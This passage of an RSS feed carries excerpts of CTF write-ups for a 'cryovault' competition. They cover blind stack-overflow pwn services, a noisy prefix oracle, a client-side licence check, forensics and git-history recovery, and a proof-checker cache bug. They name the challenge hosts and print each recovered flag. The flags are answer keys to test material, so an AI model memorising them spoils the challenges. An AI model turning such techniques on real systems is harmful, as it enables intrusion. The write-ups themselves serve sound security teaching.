&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The challenge exposed only a TCP service with no downloadable binary. After connecting, it printed:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;glacier core online. depth probe ready.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;depth&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Each input was consumed by a raw &lt;code&gt;read()&lt;/code&gt; and answered with the number of bytes read:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;depth&amp;gt; AAAA&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;logged 5 samples.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;depth&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The goal was therefore a blind exploitation task: recover enough of the process layout through the service's crash/output behaviour to redirect execution to a hidden win function.&lt;/p&gt;</description></item><item><title>Halo Telemetry Align</title><link>https://hotwater-online.xyz/writeups/cryovault/halo-telemetry-align/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/halo-telemetry-align/</guid><description>&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; A telemetry alignment oracle&lt;br&gt;&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;https://isfcrpesu-halo.chals.io&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{n0isy_pr3f1x_0r4cl3_d3c0y_h4l0}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h2 id="1-reconnaissance"&gt;&#10; &lt;a href="#1-reconnaissance" class="md-heading-anchor"&gt;&#10; 1. Reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The root page describes a single endpoint:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;halo telemetry align&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET /align?seq=&amp;lt;string&amp;gt; -&amp;gt; one bit: is &amp;lt;seq&amp;gt; a prefix of the live seal?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The channel is noisy, and planted seals read warm too. Recover the seal.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag format: isfcr{...}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Requesting the endpoint returns a single ASCII bit:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ curl &lt;span class="s1"&gt;&amp;#39;https://isfcrpesu-halo.chals.io/align?seq=i&amp;#39;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The answer changes between requests, so this is not a deterministic prefix oracle. Repeatedly querying the same string reveals the noise rate.&lt;/p&gt;</description></item><item><title>Ligatures &amp; Liabilities</title><link>https://hotwater-online.xyz/writeups/cryovault/ligatures-liabilities/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/ligatures-liabilities/</guid><description>&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; A law firm's licence portal says &lt;code&gt;REJECTED&lt;/code&gt; to everyone, including the partners who built it. There is no backend. One key is valid. Find it.&lt;br&gt;&#10;You are given the portal (&lt;code&gt;site/&lt;/code&gt;). Serve it locally and open it in Chromium or Firefox.&lt;br&gt;&#10;&lt;strong&gt;Flag Format:&lt;/strong&gt; &lt;code&gt;isfcr{&amp;lt;licence key&amp;gt;}&lt;/code&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;hr&gt;&#10;&lt;h2 id="1-initial-reconnaissance"&gt;&#10; &lt;a href="#1-initial-reconnaissance" class="md-heading-anchor"&gt;&#10; 1. Initial Reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Inspecting &lt;code&gt;site/index.html&lt;/code&gt; reveals a static client-side web page with no backend interaction:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="html"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;html&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;label&lt;/span&gt; &lt;span class="na"&gt;for&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Licence key&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;label&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;key&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;autocomplete&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;off&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;maxlength&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;64&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;…&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;verdict&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;verdict&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;aria-live&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;polite&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;verdict&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;\u00AB&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;\u00BB&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;input&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;render&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;render&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;When input is typed, JavaScript simply wraps it with guillemets (&lt;code&gt;«&lt;/code&gt; and &lt;code&gt;»&lt;/code&gt;) and inserts it into &lt;code&gt;#verdict&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Missing Receipt</title><link>https://hotwater-online.xyz/writeups/cryovault/missing-receipt/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/missing-receipt/</guid><description>&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Insane / Hard&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Flag Format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{th3_r3l4y_h4d_1ts_0wn_v3rs10n_597c}&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-challenge-overview"&gt;&#10; &lt;a href="#1-challenge-overview" class="md-heading-anchor"&gt;&#10; 1. Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are provided with five forensic artifacts collected from a field relay environment:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;desc.txt&lt;/code&gt;: Challenge description stating that &lt;code&gt;CRYO-LT-07&lt;/code&gt; started an export at &lt;code&gt;03:17 UTC&lt;/code&gt; and pushed it to the field relay, after which someone &amp;quot;tidied up&amp;quot;. The goal is to recover the export accepted in full by the relay.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;acquisition.txt&lt;/code&gt;: Acquisition notes detailing:&#10;&lt;ul&gt;&#10;&lt;li&gt;The client clock was running $6\text{ minutes }42\text{ seconds}$ ahead of reference time in local timezone &lt;code&gt;Asia/Kolkata&lt;/code&gt; ($\text{UTC}+05:30$).&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;relay.pcap&lt;/code&gt; was captured on a passive tap directly in front of the relay host.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;agent_state.db&lt;/code&gt; and &lt;code&gt;agent_state.db-wal&lt;/code&gt; were acquired while the agent was running.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;field-unit.ext4&lt;/code&gt; is an ext4 image of the unit's service partition.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="2-artifact-analysis"&gt;&#10; &lt;a href="#2-artifact-analysis" class="md-heading-anchor"&gt;&#10; 2. Artifact Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;h3 id="21-sqlite-configuration--state-agent_statedb"&gt;&#10; &lt;a href="#21-sqlite-configuration--state-agent_statedb" class="md-heading-anchor"&gt;&#10; 2.1 SQLite Configuration &amp;amp; State (&lt;code&gt;agent_state.db&lt;/code&gt;)&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;Checking the &lt;code&gt;settings&lt;/code&gt; table reveals the cryptographic and protocol architecture used by &lt;code&gt;cvagent 2.4.1&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Neve</title><link>https://hotwater-online.xyz/writeups/cryovault/neve/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/neve/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn (blind / remote-only)&lt;br&gt;&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 18435&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{wr1t3_wh4t_wh3r3_pl4nt_p4th_b4_0p3n_n3v3}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The service only exposed a TCP endpoint, no binary was provided. It prints:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;neve relay up.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;neve&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;neve&lt;/code&gt; is a sibling of &lt;code&gt;floe&lt;/code&gt;, &lt;code&gt;blizzard&lt;/code&gt;, and &lt;code&gt;drif&lt;/code&gt;. The protocol is a&#10;two-byte big-endian length followed by that many payload bytes:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send: 00 05 &amp;#34;hello&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recv: relayed 5.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; neve&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A normal frame is copied into an 88-byte stack buffer without a length check,&#10;so this is a stack overflow behind a stack canary.&lt;/p&gt;</description></item><item><title>Poisoned Update</title><link>https://hotwater-online.xyz/writeups/cryovault/poisoned-update/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/poisoned-update/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{6f3944938016591a285bcf5359b97f69}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The target is a shared VX-410 controller exposed through a JSON API. The intended&#10;path is to stage firmware into bank B, boot the trial, pass the boot diagnostic,&#10;and confirm the trial. At the time of this run, the shared controller was already&#10;in the &lt;code&gt;confirmed&lt;/code&gt; phase with a successful diagnostic trial from bank B. Calling&#10;&lt;code&gt;/api/confirm&lt;/code&gt; therefore returned the flag immediately. No reset or update was&#10;required.&lt;/p&gt;</description></item><item><title>Q.E.D. — Prove the Impossible</title><link>https://hotwater-online.xyz/writeups/cryovault/q-e-d-prove-the-impossible/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/q-e-d-prove-the-impossible/</guid><description>&lt;h2 id="challenge-summary"&gt;&#10; &lt;a href="#challenge-summary" class="md-heading-anchor"&gt;&#10; Challenge summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are given &lt;code&gt;qedvm&lt;/code&gt;, a static Rust proof checker for a small intuitionistic&#10;propositional logic called QPL. The goal is to submit a module whose exported&#10;definition has formula &lt;code&gt;bot&lt;/code&gt; (falsehood).&lt;/p&gt;&#10;&lt;p&gt;The logic itself is sound: there is no axiom and no constructor for &lt;code&gt;bot&lt;/code&gt;.&#10;The bug is in an optimization inside the checker: successful checks of large&#10;&lt;code&gt;case&lt;/code&gt; terms are memoized, and the cache key does not contain the full local&#10;context. By priming the cache with a valid proof in one context and then&#10;reusing the same term in a different context, the checker accepts an invalid&#10;&lt;code&gt;case&lt;/code&gt; term and therefore accepts &lt;code&gt;bot&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Recovering the Sealed Manifest</title><link>https://hotwater-online.xyz/writeups/cryovault/recovering-the-sealed-manifest/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/recovering-the-sealed-manifest/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The repository was &amp;quot;tidied up&amp;quot; through a history rewrite: old branches were&#10;force-pushed, the pre-rewrite history was left unreachable, and a deleted&#10;&lt;code&gt;.env.local&lt;/code&gt; was removed from the visible history. However, the old objects&#10;were still present in the object database and in the reflog, and an employee's&#10;handoff bundle contained an additional hidden fragment.&lt;/p&gt;&#10;&lt;p&gt;The offline DR keychain seed was split into five position-labelled fragments&#10;(&lt;code&gt;frag-0&lt;/code&gt; … &lt;code&gt;frag-4&lt;/code&gt;). Reassembling them in order produced the passphrase for&#10;the age-encrypted &lt;code&gt;.secrets/flag.age&lt;/code&gt; file.&lt;/p&gt;</description></item><item><title>Rime</title><link>https://hotwater-online.xyz/writeups/cryovault/rime/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/rime/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn (blind / remote-only)&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 24359&lt;/code&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{l3ngth_pr3f1x_d0esnt_s4v3_y0u_bl1nd_4c8f21}&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-challenge"&gt;&#10; &lt;a href="#1-challenge" class="md-heading-anchor"&gt;&#10; 1. Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;No binary was provided, only a TCP service. On connect it prints:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rime gauge up. send readings.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reading&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Every input is consumed by a raw &lt;code&gt;read()&lt;/code&gt; and answered with the number of&#10;bytes read:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reading&amp;gt; AAAA&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pressure 5 recorded.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reading&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The newline is included in the count. Sending several lines in one TCP&#10;segment produces one reading whose count is the whole segment, confirming&#10;this is a raw &lt;code&gt;read()&lt;/code&gt; loop rather than a line parser.&lt;/p&gt;</description></item><item><title>SILT Field Rack / Revision D</title><link>https://hotwater-online.xyz/writeups/cryovault/silt-field-rack-revision-d/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/silt-field-rack-revision-d/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{dzzgtexh72kpmivvuypwm2oqbzk6w7t6}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="1-overview"&gt;&#10; &lt;a href="#1-overview" class="md-heading-anchor"&gt;&#10; 1. Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The service bundle &lt;code&gt;silt-revision-d.zip&lt;/code&gt; contains:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;File&lt;/th&gt;&#10; &lt;th&gt;Purpose&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;rack.vcd&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Logic-analyzer capture of the SPI service connector&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;controller.rom&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;SVM1 application bytecode (same on all boards)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;node-00.nor&lt;/code&gt; … 